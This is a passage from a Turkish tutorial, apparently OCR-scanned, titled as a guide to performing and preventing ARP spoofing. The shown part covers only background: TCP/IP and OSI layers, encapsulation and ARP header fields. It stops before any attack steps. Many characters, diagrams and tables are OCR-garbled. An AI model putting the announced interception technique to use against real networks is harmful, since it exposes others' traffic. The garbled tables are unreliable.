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ARP SPOOFING SALDIRISI NEDIR VE NASIL YAPILIR

Merhaba arkadaslar, bu makalede sizlerle arp zehirlemesi (arp poisoning), diger adiyla arp
Onbellek zehirlemesi (arp cache poisoning), diger adiyla arp kandirmacasi (arp spoofing)
saldirisinin ne oldugu, ne tur zararlar verebilecegi, nasil yapilabileceg@i ve nasil 6nlenebilecegdi
bilgileri paylasilacaktir. Ancak elbette bu bilgileri oldugu gibi paylasmak yerine size dnce
bilgisayar sistemlerindeki iletisimin temeline dair ufak ama elimden geldigince etkili
aciklamalarda bulunmayi, sonra saldirtlya konu olan olayin arkaplanini agiklamayi, sonra
saldirinin ¢alisma dinamiklerini paylasmay! ve nihayetinde saldirlyr uygulamali olarak
gOstermeyi planladim. Zira bu sayede arag / yazilim bazli ezber bir saldiri metodu 6grenmek
yerine saldirinin kendisini 6grenebilir ve yeri geldiginde degisen dinamikler kargisinda kendi
aracinizi / yaziliminizi yazip sizma testlerinde kullanarak isinize katmadeger katabilirsiniz.

Bu makale sonraki bir makaleyle ilintili oldugu igin zincir su sekildedir:

= Arp Spoofing Saldirisi Nedir ve Nasil Yapilir
= Arp Spoofing llave Uygulamalar

Bu makalede yer alacak basliklar ise su sekildedir:

TCP/IP Nedir

OSI Nedir

TCP/IP ve OSI arasindaki Fark Nedir

ARP Nedir

ARP Spoofing Nedir

ARP Spoofing Saldirisi Nasil Yapilr
Uygulama [Reel Bir Arp Zehirlemesi Saldirisi]
Ekstra [NetworkMiner ile Trafik Analizi]
Ekstra 2 [URL Sniff'leme]

Arp Spoofing'e Karsi Onlem

T TSeTooooTe

a. TCP/IP Nedir?

Bilgisayarlar icat edildiginde fizikciler, matematikgiler, ekonomistler,.... yaptiklari hemen
hemen tim hesaplamalari bilgisayarlara yaptirabilir hale gelmislerdi ve bilylk mesafeler
katedebilmislerdi. Bilgisayarlari gelistiren mihendisler ise bir yandan bilgisayarlari daha da
gelistirme Uzerine ¢alisirlarken bir yandan da bilgisayarlar arasinda iletisim kurabilme Uzerine
calismaktaydilar. Belli bir middet sonunda uzaktan bilgisayarlarin birbirleriyle
haberlesebilmesi (birbirlerine veri transferi yapabilmesi) i¢in IP (Internet Protocol) protokolu
geligtirilmisti. Ancak bu, isin sadece bilgisayar sistemlerinin konumunu tayini etmeden ibaret
bir calismaydi. Bunun yaninda bilgisayarlarin o zamanin mini interneti olan ARPANet'te
birbirleriyle paket aligverigi yapabilmeleri igin paketleri okuma konusunda ortak bir standardi
olmasi gerekmekteydi. Yani uzun 1 ve 0 bitlerinden olugsan ve yatay bir ipi andiran paketlerin
basi, ortasi, kalan kismi,..., sonu gibi kisimlarini standartlastiracak bir yapiya ihtiyag
duyulmustu.
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IP 192.168.0.1 IP 192.168.0.2

Eger ortaklasa bir standart olursa paketi veren bilgisayar paketi alan bilgisayarin uzun 1 ve 0
bitlerinden olusan ipi (paketi) olmasi gerektigi gibi okudugunu bilecektir. iste bu ortaklasa
standart gelissin diye TCP/IP modeli (protokol ailesi) gelistirilmistir. Olusturulan TCP/IP
protokol ailesi sayesinde bilgisayarlar ortak standarda gore paket olusturmakta ve boylece her
gelen paket ayni standarda goére acildigindan (yani basinda su tlrden bir veri gelecek,
ortasinda su tldrden bir veri gelecek,..., sonunda su tirden bir veri gelecek seklinde paket
okumasi yapildigindan) kusursuzca iletisim saglanabilmistir. TCP/IP protokol ailesi su an
halihazirda bilgisayar sistemlerimizin haberlesmesinde kullanilan hizmettir.

TCP/IP modelinde 5 adet katman (kategori) vardir. Bu katmanlar kaynaklarda su sekilde bir
sema ile verilir;

TCP/P

Application

Transport
Network
Data Link
Physical

Bu gosterimi reel bir haberlesmede sdyle disinmelisiniz:

Data Link Network Transport

[*] Bilgi:

TCP/IP hizmetinde paket hazirlanirken Application Layer tamam oldugunda o
paketcik Transport Layer'da hazirlanacak paketcigin gdvdesine oturur.
Ardindan Transport Layer tamam oldugunda o paketcik Network Layer'da
hazirlanacak paketcigin gdvdesine oturur. Ardindan Network Layer tamam
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oldugunda o paketcik Data-Link Layer'da hazirlanacak paketcigin gévdesine
oturur. Data-Link tamam oldugunda ise igice matruskayi andirircasina olusan
nihai paket Physical Layer'dan gonderilir. Paket alirken de okumak igin
matruskayi en disindan acgtigimiz gibi paket okumasi yapilir. Yani tersten; énce
Data-Link basliklari, sonra Network bagliklari, sonra Transport basliklari ve son
olarak Application basliklari ve verisi okumasi yapilir. Ornegin asagida
bilgisayarindaki tarayici ile internette surf yapan bir kullanicinin sisteminde
gonderiimek Uzere arkaplanda olusturdugu paketin bir gdsterimini
gormektesiniz.

| HTTP Header=s I Data

TP Header HTTP Headers | [ata

IP Header | TGP Header | HTTP Headers | Data

P TCP Header | HTTP Headers | Das

En Ustte Application Layer paketcidi; altindaki, Application Layer paketgigini
alan Transport Layer paketcigi; altindaki, Transport Layer paketcigini alan
Network Layer paketcigi; altindaki, Network Layer paketcigini alan Data-Link
Layer paketcigi ve sonra Physical Layer ile paketgikler olur paket. En altta
olusan bu nihai paket yatay ipi andirir vaziyette kablodan 1 ve 0 bit dizileri
halinde iletilir.

Yukarida goruntulemekte oldugunuz reel haberlesme resmi bilgisayarlarin halihazirda
gonderiyor olduklari ve aldiklari paketlerin sablonunu ifade etmektedir. Bilgisayarlar her
gonderdigi paket igin bu sablonu kullanirlar ve sablonun igerisine bilgisayarda her ne
yapiyorsaniz ona has veriler doldurup uzak sisteme kablodan 1 ve 0 dizisi halinde génderirler.

IP 192.168.0.1 IP 192.168.0.2

Sata Link Shysioal [R—— Sata Uini
Paket A gonderiliyor... \ ; Paket A alimiyor...

Yukaridaki resimde dikkat ederseniz paket gonderen sistemin paketi igin

Application Layer -> Transport Layer -> Internet Layer -> Network-Access Layer
-> Physical Layer
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dizilimi takip edilmisken paketi alan sistemin paketi alma sekli olarak ise

Physical Layer -> Network-Access Layer -> Internet Layer -> Transport Layer -
> Application Layer

seklinde bir gosterim sunulmustur. Bu gosterimdeki degisimin bir nedeni vardir.
Application Layer en yukarida gosterdigimiz TCP/IP katman sablonunda modelin en
ustteki katmanini temsil etmekteydi. Onun altinda Transport Layer, onun altinda
Internet Layer, onun altinda Network-Access Layer ve onun altinda da Physical Layer
yer almaktaydi. TCP/IP modeli bu sekilde tasarlandidi igin 6rnegin siz bilgisayarinizda
Chrome tarayicisi ile surf yaparken Application Layer'da islem yapiyor olmaktasiniz.
Chrome'dan bir web sitesine (yani web sunucusuna) ziyaret etmeyi denediginizde
siteyi istiyorum paketi gonderirken Application Layer kismi buna gore sisteminizde
doldurulacaktir, ardindan bir altindaki Transport Layer kismi bilgileriniz dogrultusunda
doldurulacaktir ve Application Layer kisminin sag yanina eklenecektir. Ardindan
Internet Layer bilgileriniz doldurulacaktir ve Transport Layer kisiminin sag yanina,
Network-Acess bilgileri dolduruldugunda ise Internet Layer kisminin sag yanina
eklenecektir. Sonra tim yanyana eklenen kisimlar birlesimi bizim paketimiz demek
oldugundan bu paketimizi bilgisayarimizdaki kabloya vererek karsi sisteme gondermis
olacagiz. Karsi sistem kablodan paketi alirken kablo, yani Physical Layer katmani
islemini halletmis olacaktir. Dolayisiyla ister istemez bir sondan baglama durumu isin
dogasi gereg@i olacaktir. Sonra, gelen paketteki veriyi okurken paket kisimlarinin
birbirleriyle olan mantiksal bagimliliklari nedeniyle dnce Network-Access kismini,
sonra Internet Layer kismini, sonra Transport Layer kismini ve son olarak Application
Layer kismini okuyacaktir (Not: Bu siralama sart degildir. istenirse farkli bir siralamada
da okuma yapilabilirdi. TCP/IP hizmeti boyle gelistirildigi icin ve haberlesmede TCP/IP
kullaniyor oldugumuz icin siralama bu sekildedir). Boylelikle web sunucu kendisinden
web sitesinin istenildigini anlayip web sitesinin html ¢iktisini kullaniciya géndermek
icin

Application Layer -> Transport Layer -> Internet Layer -> Network-Access Layer
-> Physical Layer

adimlarini takip ederek sunucusunda paketini duzenli bir sekilde olusturacaktir ve
ardindan kablo ile kullanicisina gonderecektir. Kullanici da paketi kablodan aldiginda
Physical Layer kismini halletmis olacaktir, daha sonra Network-Access Layer kismini,
sonra Internet Layer kismini, sonra Transport Layer kismini ve son olarak Application
Layer kismini, yani sizin Chrome tarayiciniza gelecek veriyi paketten cimbizlama isini
halledip tarayiciniza siteyi yansitacaktir.

Sonug olarak paket gdonderecek taraf paketi hazirlarken yukaridan asagiya dogru
paket kisimlarini sirayla doldurup yanyana koyuyor ve gonderiyor, paketi alacak taraf
ise gelen paketi asagidan yukariya dogru (yani tersten) kisimlarini sirayla okuyor ve
mesaji almis oluyor.
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Ag Haberlesmesi ve Arp Saldirilar:

TCPAP TCP/IP
Application Application
Transport Transport
Network Network
Data Link Cable Data Link /\
Physical — Physical
N\

/

paket gonderiliyor...

Bilgisayar A

paket aliniyor...

Bilgisayar B

TCP/IP protokol ailesinin binyesinde tanimlanan protokoller 5 kategoriye boltstaridlmastir.

Bunlar;

TCR/IP Layvers (ENG)

TCR/IP Katmanlari (TUR)

Application Layer
Transport Layer
Metwork Layver (a.k.a. Internet Layer)

Data-Link Layer (&.k.a. Network-4ccess
Layer)

Physical Laver

Uygulama Katmani

Ulazim Katmani

Af Katmani (diger adiyla; Internst Katmani)

Veri-gaglanti Katmani (diger adiyvla;
Ag-Erisim Katmani)

Fiziksel Ulasim Katmani

seklindedir. Bu kategorilerden (katmanlardan) Transport Layer'da yer alan TCP ve Internet
Layer'da yer alan IP protokolu bilgisayar sistemlerinin haberlesmesinde en muhim protokolleri
temsil ettiklerinden bu gelistirilen hizmetin adina isimlerinin birlesiminden olusmus TCP/IP adi
verilmistir. Asagida TCP/IP katmanlarinda yer alan protokollerden bazisi gosterilmektedir:
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TCP/IP Protocol Suite

TCP/IP MODEL LAYERS | |

Application Layer HTTP FTP SMTP DNS RIP SNMP
Transport Layer TCP UDP
| IeMP | icmP ND [ MLD
Network Layer ICMPvG
ARP IP (IPv4) IPv6
80211 ||
Data Link Layer Ethernet : wireless ;| FrameRelay : ATM
: LAN
. - Coaxial UTP Fibre . Terrestrial
Physical Layer Cable :  Cable : . Optic Cable Satellite Microwave

Goruldugu tzere ARP protokoli TCP/IP modelimizde Network Layer (diger adiyla; Internet
Layer)'da yer almaktadir. Bu katmanda ARP gibi katmana uygun bagka protokoller de yer alir.
Orn; IP, ICMP, IGMP, RARRP.,... gibi. ARP protokoliine bakacak olursak ARP protokol(i kendi
icerisinde yine kisim kisim bdélimlemelerden olusmaktadir.

ARP Packet Format

ARP basliklarini agiklayacak olursak;

hard type : Bu baslik hardware type, yani donanim tur( bilgisini alir. Orn;
Ethernet, IEEE 802.X Network, ATM, Fibre Channel,... gibi. 8
bit uzunlugunda olan bu baslik eger 1 degerini alirsa donanim
turu olarak ethernet belirlenmis olur.

prot type : Bu baslik protocol type, yani protokol tlrG bilgisini alir. IPv4 ve
IPv6 gibi ¢ok cesitli konumlama protokolleri vardir. Ornegin
APPLETALK, AT&T, IBM SNA Service, HP Probe, ARP,
RARP,... gibi. 8 bit uzunlugunda olan bu baglk 0x800
hexadecimal degerini aldiginda IPv4 & IPv6 protokolleri
belirlenmis olur.

hard length : Bu baslik donanim adresinin (mac adresin) uzunlugu bilgisini
alir.
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prot length : Bu baslik protocol address (6rn; IPv4 ya da IPv6 adresinin)
uzunlugu bilgisini alir.
op : Bu baglik operation, yani ARP paketinin yapacagi iglem bilgisini

alir. Bu bashga verilecek degerler ile ARP paketinin tura (diger
ifadeyle islevi) belirlenmis olur. 16 bit uzunlugunda olan bu
baslik 6rnegin 1 degerini alirsa ARP paketi bir "ARP Request
(ARP istegi)", 2 degerini alirsa "ARP Response (ARP Yaniti)",
3 degerini alirsa "RARP Request (RARP Istegi)", 4 degerini
alirsa "RARP Response (RARP Yaniti)" paketi olur. Bunun gibi
baska operasyon turi degerleri ile de ARP paketine farkli
fonksiyonlar verilebilir (Not: ARP ile RARP paket i¢i ayni
basliklara sahip olduklarindan bu baslik i¢in beraber ele
alinmiglardir).

sender ethernet addr: Bu baslik sender ethernet address, yani gdnderici donanim
adresi (mac adresi) bilgisini alir.

sender ip addr : Bu baslik sender ip address, yani gdnderici ip adres bilgisini alir.

Bu baslik target ethernet address, yani hedef donanim adresi

(mac adresi) bilgisini alir.

target ip addr : Bu baslik target ip address, yani hedef ip adres bilgisini alir.

target ethernet addr

ARP paket icerigini su sekilde Turkgelestire de biliriz:

Donamm|Protokel | Hlen Plen |Operasyon| Ginderen | Ginderen | Hedef Hedef
Tirii | Tiril Tiirid HA IP Rdres HA IP Adres

Ayni bunun gibi TCP/IP modelindeki katmanlardan her birinde kullanilacak protokolin kendi
icerisinde ayrintilh bélimlemeleri vardir. Ornegin IP su sekilde;

ENG TUR
|- Bits - Iursivn| L | Servis Tiiril Toplam Uziniuk
i i 2 2 2 3
0 |4 |a | 2 ||5 | ] |4 | B i Tamm (dentification] DOFMF| Parga [Fragmentation] Ofiset
, Version I IHL | Type of Service Total Length m | Protakal Baglk Kontral Toplami
5 Identification Flags | Fragmentation Offset Kaynak IP Adresi
@ 5 TimetoLive | Protocol Header Checksum £
s — 2 Hedef IP Adresl
=, Source Address T
— — Tercihl Option) Tammlamalan 32 Bit Tamlamas:
5 Destination Address
B Options Padding Verl
Data beging here
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ENG TUR

32 Bits

N Kaynak Port l Hedef Port
Source port (16 Bits) Destination port (16 Bits)

Sequence number (32 Bits) Bilui (ACKI N
gi umarasi

Acknowlegment number (32 Bits) 20 Bits | Bashk | Rynimis | KodBitleri | Fencere (Window)
Uzunluiu
Header |Recerved| Y [A |P|R|S | F . . .
pric TN P (A I - N UGy ke (8 B, Kontrol Toplami Reil Isareteisi
TCP checksum (16 Bits) Urgent pointers (16 Bits) o
AR Tercih (Option] Alam Dolgu Alami
Options (0 or 32 if any) Padding Veri

Data (varies)

Sonug olarak TCP/IP katmanlari icerisindeki her bir protokol yine kendi igerisinde
bolimlendirmelere sahiptir ve tim bunlar nihayetinde yanyana olacak sekilde (ip gibi) fiziksel
kablodan 1 ve O bit dizileri halinde giderler. Bilgisayar sistemlerinde haberlesme bu ortak
standarda gdére gerceklesir. internete c¢ilkan her sistem bu hizmeti kullanir.

Not 1: Yukaridaki IP ve TCP paket gosterimlerinin yatay bir ipi andirir gibi yanyana degil de alt
alta gosteriimesi kafanizi karistirmasin. Reel bir haberlesmede yanyanadirlar, fakat
g6sterimlerde bu sekilde kullanilabiliyor. Ornegin arp paket yapisini gdsterirken yanyana olan
gOsterime yer vermistik, fakat bazi kaynaklar arp paket yapisini gosterirken alt alta gdsterimi
tercih edebilmekteler:

Hardware type Protocol type

HW addr Ith P addr lth Opcode

Source hardware address

Source protocol address

Destination hardware address

Destination protocol address

Sonug olarak gosterimler ne olursa olsun paket bélimlendirmeleri yanyanadir ve 1, 0 bit dizileri
halinde kablodan gitmektedirler.

Not 2: Kablodan gegen veri 1 ve 0 bit dizileri halinde gider. Fakat eger Physical Layer
katmaninda veri génderme metodu olarak UTP kablo yerine 6rnegin Coaxial kablo segilirse
paket arada bir yerde (modem gibi bir cihaz ile) modulasyona ugrayarak gidecek demektir.
Veya Physical Layer'da Fiber Optik kablo segilirse paket arada bir yerde (modem gibi bir cihaz
ile) 1sik formunda gidecek demektir. Sonug olarak birden fazla bilgisayarin oldugu bir evde bir
bilgisayar digeriyle etkilesim halindeyse (misal kendi aranizda ev i¢i Counter Strike dénuyor
olabilirsiniz) bu durumda aradaki haberlesmeniz UTP kablo (LAN kablosu) aracihigiyla
olacagindan bilgisayarlarinizdaki Counter Strike oyununun Application Layer'da olusturdugu
veri diger bilgisayara kablodan 1 ve O bit dizisi halinde gidecektir. Bu veri 1 ve 0 bit dizisi
halindedir. Fakat ortam olarak artik bilgisayar makinesi degdil de kablodan s6z ettigimizden veri
kelimesi yerine sinyal kelimesi kullaniimaktadir. Yani dijital veri kablodan dijital sinyal olarak
gitmektedir. Esasinda degisen bir sey yoktur. Yani 1 bit verisi i¢in elektrik var, O bit verisi igin
elektrik yok kablo igin konusuldugunda bir sinyaldir denir. Fakat surekli ayni bitin gdnderimi
durumunda senkronizasyon problemi dogdugundan (yani 6érnegin surekli 1 biti gdnderildiginde
karg! taraf kaginci 1 biti sorusuyla kargi karsiya kalacagindan) dijital veri encode'lanarak
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(kodlanarak) karg! tarafa gonderilmektedir. Yani 1 ve 0 biti yine 1 ve 0 biti olarak karsiya
kablodan gidiyor, fakat farkli bir ve sifir bit dizileri halinde. Ayrintili bilgi igin bkz. KBU Data
Communication Ders Notlarim (Henuz Yayinda Degil!!!!), syf. 104-134

Not 3: Bazi internete ¢ikan cihazlar bilgisayarlarin Application Layer'a kadar ¢alisabilmesi gibi
Application Layer'a kadar ¢alismayabilir. Ornegin Router cihazlar her internete ¢ikan cihazda
oldugu gibi TCP/IP hizmetine sahiptir, ama sadece Network Layer'a (Internet Layer'a) kadar
calisirlar. Paket hazirlarlarken Network Layer'dan baslarlar ve sonra Data-Link, ardindan da
fiziksel katmana inerek paketi yollarlar. Ayni sekilde switch cihazlari da Data-Link Layer'a
(Network-Access Layer'a) kadar calisirlar. Spesifik gorevleri yerine getiren bu gibi cihazlar bu
gibi ¢esitli mantiksal limitlere sahip olabilmekteler.

Not 4: Bilgisayar sistemleri ve internete bagli nesneler haberlesme sirasinda paket génderim
ve alim iglemlerini TCP/IP modelindeki katmanlara riayet ederek yapar. Clnkid o hizmet,
onlarda kuruludur. Diinyadaki tim internete ¢ikan sistemler bu hizmete sahip oldugundan bir
nevi internetin haberlesme dilidir.

b. OSI Nedir?

OSI tipki TCP/IP protokol ailesi gibi bilgisayarlarin o zamanin mini interneti ARPANet'te
haberlesebilmesi icin gelistiriimis bir protokol ailesidir. Bu model o zamanin internetinde
haberlesmeyi 7 katmana bolmusti. Her katman oldukca spesifik bir sekilde siniflandiriimigti.
OSI, heniz bildigimiz internet yokken ve mini internet (lniversiteler arasi haberlesme) aginda
bir standard calismalari yapiliyorken birgok irili ufakl Gretilen ¢déziimlerdenden bir tanesidir.

Asagida OSI modelinin TCP/IP modeline gore eslenmis katman (kategorizasyon) dizilimini
gormektesiniz:

OS| MODEL LAYERS

TCP/IP MODEL LAYERS

Application Layer

Presentation Layer

Segsion Layer

Application Layer

Transport Layer

Transport Layer

Network Layer

Network Layer

Data Link Layer

Data Link Layer

Physical Layer

Physical Layer
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Asagida ise OSI katmanlarinin tirkcelestiriimis halini gérmektesiniz:

051 Layers (ENG) 051 Katmanlaryi (TUR)
Application Layer ygulama Katmami
Presentation Layver Sunum Katmani

Session Layer Cturum Katmani
Transport Layer Ulasim Katmani

Metwork Layer A Katmani

Data-Link Layer veri Iletim Katmani
Physical Laver Fiziksel Ulasim Katmani

c. TCP/IP ve OSI Arasindaki Fark Nedir?

OSI, TCP/IP'nin alternatifidir. Fakat asla kullanima gecememistir. TCP/IP gelistiriimeye
zamanlama agcisindan OSl'den yaklasik 10 yil kadar 6ncesinde baslamistir. Yani TCP/IP
modeli ¢cok daha 6nceden yola koyulmus bir modeldir. OSI'nin kagit Uzerinde tanimlamalari
yapildigi siralarda TCP/IP'nin gelisimi striyordu ve OSI'nin tanimlamalarindan / teknik
¢6zimlerinden de yararlanmaktaydi. Yani yola énceden koyulmus ve gelisimini stirdirmekte
olan TCP/IP, OSI tanimlarindan ve c¢6zumlerinden "referans" olarak faydalanmaktaydi. O
doénemde piyasada henlz baskin bir haberlesme modeli yoktu ve birgok irili ufakli haberlesme
modeli yer almaktaydi. Belli bir middet sonra TCP/IP modeli giicliyle ve saglamligiyla one ¢ikti
ve bilfiil piyasaya agirhgini koydu. Yani internet dunyasinda kendini bir nevi oldu bittiye getirdi
(de-facto olarak dominant hale getirdi). Dolayisiyla glinimiizde bilgisayar sistemlerinde o
dénemden bu yana halen TCP/IP modeli kullaniimaktadir ve bu model ile haberlesmekteyiz.

Neden Giliniimiizde TCP/IP Kullanilirken OSI Sik Sik Zikredilir?

OSl'de protokoller olmasi gerektigi gibi tertipli bir sekilde katmanlara ayrismislardir. Ancak
TCP/IP OSl'deki katmanlarin sikistirimis hali oldugundan OSl'de ayri katmanlarda olan
protokoller TCP/IP'de ayni katmanda olabilmektedir. TCP/IP pratikte kullaniliyor oldugundan
baslangi¢ slrecinde birgok yama niteliginde ¢ézumler binyesine sokmustur. Fakat OSl'de
protokollerin tertipli ayriligi internet haberlesmesi makalelerindeki atiflarin genelde OSI
uzerinden yapilmasina neden olmaktadir. En basitinden uygulama katmanini tarif ederken
metinlerde L7 (Layer 7) ifadesi gecger. Halbuki uygulama katmani TCP/IP'de L5'ir. L7
kullaniimasinin nedeni OSI'nin tertipi dolayisiyla referans gdstermeye (atifta bulunmaya)
mantiksal agidan daha elverisli konumda olmasindandir. Protokollerin siniflandiriimasindaki
uyumlu sinirlari dolayisiyla OSI, protokollerin gorevleri ve bunlarin ait olduklari katmanlarin
genellestiriimis goérev bilgilerini anlamlandirma ve dékiimante etme konusunda referans niteligi
tasir. OSI, birgok makalede bu nitelikleri dolayisiyla - ve TCP/IP'nin geligimi surecinde OSl'den
referans olarak yararlanmasi sebebiyle olsa gerek - OSl| Referans Modeli diye geger.

d. Arp Nedir?

Gunumulze yakin bilgisayarlarin gelistirildigi ve birbirleriyle uzaktan iletisim kurdurma
cabalarinin oldugu dénemlerde bilgisayarlarin karsilikli olarak birbirlerini bulma kurallari olan
IP gelistiriimisti. Bu kurallar butintne biz protokol diyoruz. IP protokolinun gelistiriimesiyle
bilgisayarlar icin ortak bir ag kavrami (yani internet (yani internetworking) kavrami) ortaya
cikmistl. O dénemlerde IP protokollini test etmek amaciyla Amerika'da bir Universite
kampusinde yer alan bilgisayardan bir baska eyaletteki Universite kampUstinde yer alan
bilgisayara test amacli "LOGIN" mesaji gonderilmisti. Ancak diger eyalatteki sistemin network
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servisi crash oldugundan LOGIN mesajinin sadece LO harflerini alabilmisti ve ekranina
yansitabilmigti. Yani boylece ilk deneme yapilmisti ve kismen de olsa bagarili olunmustu.
Zamanla problemler ¢dzlilerek glinimuzde halihazirda su an canl yayin gorunti aktarimi dahi
yapabildigimiz TCP/IP meydana gelmigtir.

IP, bilgisayar sistemlerini konumlama (adresleme) Uzerine bir protokoldur. Peki ARP nedir?
ARP (Address Resolution Protocol, yani Adres Cozumleme Protokoll) tipki IP gibi
bilgisayarlarin birbirleriyle iletisim kurabilmesi (birbirlerini bulabilmesi) icin gelistiriimis bir
protokoldir. Ancak IP bilgisayarlarin aglar arasi birbirlerini bulmayi saglamak tzerine yapilan
calismalar neticesinde olusturulmustu. Simdi ise yerel (local) aglarda bilgisayarlarin birbirlerini
bulma ve haberlesme protokolline ihtiya¢ vardi. Akliniza su sekilde bir soru gelmis olabilir: IP
varken niye ekstradan bir de ARP protokoll geligtiriliyor ki? Yerelde de global'de de IP
uzerinden iletisim kursak olmaz miydi? Bu soru henuz caylak oldugunuzu gosterir. Cunku siz
bir klasére her seyi koysak olmaz mi diyorsunuz esasinda. Evet olur, ama o klasorun igi
sonradan karman g¢orman oldugunda "ahh keske bunlari kategorize etseydim" diyeceksiniz.
Belki klasér icin derleyip toplayip yeni klasére bolastlrarim diyebilirsiniz. Peki ama
klasériiniziin icerisindeki veri milyarlara varsa ne yapardiniz? Ornek biraz ucuk belki ama
burada "protokol" gelistirmekten (yani kurallar batinG standardi gelistirmekten) s6z ediyoruz.
Bu standardi diinyadaki her bir evde yer alan bilgisayar kullanacagindan sonradan "surasi kétu
olmus duzelteyim" mantigiyla ¢ézemeyeceginiz derecede Kkitlesel bir elektronik ¢opluge
dondurebilirsiniz  dunyayi. Zira kategorizasyonu (modulerligi) iyi olmayan yazilimlar
milyonlarca satira ulastiklarinda ve yazilimda bir sorun ¢iktiginda gelistirici ekibin isin icinden
clkamadigi ve tek tek milyonlarca satiri okumak da imkansiz oldugundan yazilimi ¢éplige
gonderdikleri bir dinyada yasiyoruz. Dolayisiyla modulerlik ve surdirebilirlik, yani ileride
dogabilecek muhtemel ihtiyaclar sonradan sorun teskil etmesin diye yerel agda bilgisayarlarin
birbirleriyle iletisim kurmasi icin ARP (Address Resolution Protocol) protokoll gelistirilmistir.

IP protokolu gelistirildigi siralarda ethernet agi (LAN) henlz hazir degildi. Hatta IP protokolu
ethernet adi (LAN) teknolojisinden c¢ok daha 6nce bile gelistirildi denebilir. Clnki IP
gelistirildiginde ethernet agdi teknolojisi cok ¢ok sonra (yaklasik 20 yil sonra) tam manasiyla
hazir duruma gelmisti ve standartlasabilmigti. Teknoloji tamam oldugunda adres donusumu
icin (yani IP adresten Ethernet adrese (MAC adrese) ve Ethernet adresten (MAC adresten) IP
adrese donlsum igin) iki metot dusinildi. Bu metotlardan birincisi Direct Mapping (Direk
Esleme), digeri ise Dynamic Address Resolution Protocol (Dinamik Adres Cdézimleme
Protokoll) seklindeydi. Birincisi IP adresinin oktetlerini (X.Y.Z.T kisimlarini) érnegin son oktet,
ethernet adresinin aynisi olacak sekilde ayarlansin diye dneriyordu.

Decimal 222 101 33 29 32-bit IP Address

(222.101.33.29)

Binary | 11011110 | 01100101 | 00100001 | 00101001

Decimal =) 8-bit Hardware Address

(#29)

Binary | 00101001
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Bdylece IP'den ethernet adresini ¢ikarmak mimkin olacakti. Ancak bu metot bazi sorunlar
teskil etmekteydi. Ornegin IP protokolii tasarlanirken ip adresleri 32 bit uzunlugunda olacak
sekilde belirlenmisti ve ethernet adresleri ise 48 bit uzunlugundaydi. Dolayisiyla 32 bit'in
icerisine 48 bitlik bir adresi "oldugu gibi" koymak mumkun degildi.

0 8 16 24 32

Decimal ? ? ? ? 32-bit
IP Address
Binary ? ? ? ? ?)

0 16 24 32 40 48

Hexadecimal 0A AT 94 07 cB Do

BiNa%Y | 00001010 | 10100111 | 10010100 | 00000111 | 11001011 | 11010000

48-bit Hardware Address
(0A-A7-94-07-CB-D0)

Dolayisiyla diger ydnteme ydnelindi. Bu ikinci ydntem birinciye nazaran daha az verimli ama
daha esnek ve kullanilabilirdi: Dinamik Adres Cézimleme Protokolli. Bu metoda goére yerel
agda bir bilgisayar, drnegin A bilgisayari, B bilgisayarinin IP'sine sahip durumdadir. Fakat B
bilgisayarinin yerel agda hangi makina oldugunu (yani B bilgisayari ile yerel agda hangi hattan
iletisim kuracagini) bilmiyor. Bu durumda ikinci metot olan Dinamik Adres Coziimleme'ye gore
A bilgisayari yerel agdaki tim bilgisayarlara sirayla sen B bilgisayari misin diye soru génderir.
B bilgisayari disindaki yerel agda yer alan tim bilgisayarlar bu soruyu yanitsiz birakir ve B
bilgisayari ise bu soruyu aldigindan (A bilgisayarinin IP adresini ve Ethernet adresini okuyarak)
cevabl A bilgisayarina yollar. Der ki ben B'yim (kendi IP'si ve ethernet adresiyle). Boylece A
bilgisayari B bilgisayarinin yerel konumunu égrenir ve iletisim kurabilir duruma gelir. Bu yéntem
fark edilirse sorunsuz gorinmektedir. isleyiste belki sorun yoktur ama tasarimcilarin géziine
performans faktorii takilmistir ve bunun Ulzerine bu metotu nasil daha fazla verimli hale
getirebiliriz diye disinduiklerinde iki madde Uzerinde karar kilmiglardir. Bunlar; Broadcasting
(yayin yapma) ve Caching (6nbellek tutma).

Broadcasting (yani yayin yapma) ile Dinamik Adres C6zimleme protokoliinde yapilan érnegin
A bilgisayarinin B bilgisayari yerel konumunu 6grenmek icin sirasiyla tum bilgisayarlara her
defasinda B bilgisayari sen misin sorusunu sormasi yerine bir defalik B bilgisayari sen misin
sorusunu agdaki ortak ag cihaza sorma ve soruyu alan ag cihazinin mesaji tum yerel aga
yayllmasi saglandi. Bdylece ufak bir detayla daha verimli iletisim saglanmis olur.

Onbellek tutma ise bir bagka verimlilik sunan segenektir. A bilgisayari B bilgisayarinin yerel
konumunu égrendikten sonra iletisimini kurar, isini halleder ve iletisimini sonlandirir. Fakat eger
onbelleginde daha once sordugu ve cevabini 6grendigi B bilgisayarinin ethernet adresini
kaydetmediyse sonradan iletisim kuracagi zaman tekrar ayni prosediru (B bilgisayar sen
misin sorusunu ag cihazi yoluyla tim aga sorma prosedurini) tekrarlamasi gerekecektir ve
bu bir anlamda bosu bogsuna zaman israfina yol agacaktir. Eger A bilgisayari daha dnceden B
bilgisayarinin yerel konumunu 6grendigi an bu bilgiyi 6nbellegine kaydederse sonradan iletisim
kuracagi zaman, bu zaman israfina mahal vermeden direk iletisim kurabilecektir. Bu nedenle
Onbellek tutma segenedi de kullanilimaya deger bulunmustur.
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Device A Device B
IP Addr: IPA IP Addr: IPB

Hardware Addr: #213 Hardware Addr: #79

Device C Device D
IP Addr: IPC IP Addr: IPD
Hardware Addr: #46 Hardware Addr: #114

Yukaridaki resimde Device A (A Makinasi) ortak ag cihazina “B makinasi kimdir”
(teknik olarak; B makinasi MAC adresi nedir?) sorusunu soruyor. Ortak ag
cihazi ise resimde mor oklarla gosterildigi Uzere aga yayin yaparak B makinasi
MAC adresi nedir diye teker teker agdaki makinalara soruyor. Ardindan B
makinasi yesil okla gésterildigi Gzere sorunun kendisini ilgilendirmesi dolayisiyla
sorunun cevabini ortak ag cihazina ve oradan da A makinasina sunuyor.

ARP (Address Resolution Protocol) protokoli Ethernet adreslerinin (MAC adreslerinin)
¢bzumlenmesi icin (yani IP adresinden Ethernet adresine (MAC adresine) ya da Ethernet
adresinden (MAC adresinden) IP adresine donlstiirme islemi icin) gelistiriimis "genel" bir adres
cbzumleme protokoludir. Genel kelimesini vurgulamakta fayda var. Zira Ethernet gibi OSI
referans modeli layer 2'de baska data-link teknolojileri de mevcuttur: Ornegin; ATM, Frame
Relay, Wifi (IEEE 802.1x),... gibi. Eger ARP gibi ortak / genel bir adres ¢6zimleme protokolu
tasarlanmasaydi bu teknolojilerin her biri i¢in (6rn; Ethernet Address Resolution Protocol, ATM
Address Resolution Protocol, Frame Relay Address Resolution Protocol, Wifi Address
